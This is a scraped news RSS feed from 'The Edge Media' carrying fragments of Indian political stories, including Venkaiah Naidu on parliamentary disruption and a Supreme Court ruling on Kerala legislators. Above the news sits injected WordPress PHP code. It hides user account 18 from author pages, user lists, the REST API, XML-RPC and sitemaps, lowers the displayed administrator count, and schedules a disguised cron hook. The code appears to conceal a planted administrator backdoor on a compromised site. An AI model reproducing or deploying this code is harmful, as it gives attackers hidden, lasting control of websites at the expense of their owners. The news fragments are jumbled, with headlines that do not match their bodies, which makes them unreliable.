add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Assemblies and Parliament are meant for debate, discussion and decision, and not disruptions : M Venkaiah Naidu appeared first on The Edge Media.
]]>Referring to the ugly scenes witnessed in the Rajya Sabha recently and indicating action against those involved, he reminded elected representatives of their responsibilities.
“….all elected public representatives should focus more on improving the standards of the life of the people, by rising to the need of the occasion,” Naidu said.
Addressing an event here, he said, “You might have seen some time back, what happened in the Parliament, a lot of youngsters called me and told me, Sir! you are the Vice President of India, why are you so sad? I said I’m sad because of the bad behaviour of some people, to the new low the Indian Parliament had gone.
Pointing to similar incidents at several state legislatures including Karnataka in the past, he further said, every legislator and public representative should keep in mind the need to raise the standards of the institution he or she is representing, and improve one’s contribution by caliber, character, capacity and conduct.
You are the role model for the people, if you behave like this then what is the inspiration the people and the youngsters will get?”
“Assemblies and parliament are meant for debate, discussion and decision. Debate, discuss and decide, but do not disrupt. Disrupting means you are disrupting the cause of the country. There may be some tension, but you must come back to attention,” he added.
The post Assemblies and Parliament are meant for debate, discussion and decision, and not disruptions : M Venkaiah Naidu appeared first on The Edge Media.
]]>The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>“MPs and MLAs have to subscribe and bear true faith to the Constitution of India. Committing acts of destroying public property cannot be equated to freedom of speech .
Legislator’s privilege and immunity is not a gate to claim exemption from Criminal law,” a two-judge bench of justice DY Chandrachud and MR Shah said as it delivered the verdict.
The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>The post Health Minister of Kerala dropped from the cabinet appeared first on The Edge Media.
]]>
Pinarayi Vijayan from CPI (M) elects as the new Parliamentary leader making his way for the Chief Minister of Kerala. As per the statement of CPI (M), the state committee of the Marxist party met at the headquarters of AKG Centre on Tuesday. There they elected Vijayan to lead the party. The statement added that the chairperson of the party, Elamaram Kareem decided to assign Vijayan for leading the party. Vijayan has a history of leading the Left front in the polls on April 6.
The post Health Minister of Kerala dropped from the cabinet appeared first on The Edge Media.
]]>The post Assembly elections will also be held in Maharashtra by ballot with EVM appeared first on The Edge Media.
]]>The post Assembly elections will also be held in Maharashtra by ballot with EVM appeared first on The Edge Media.
]]>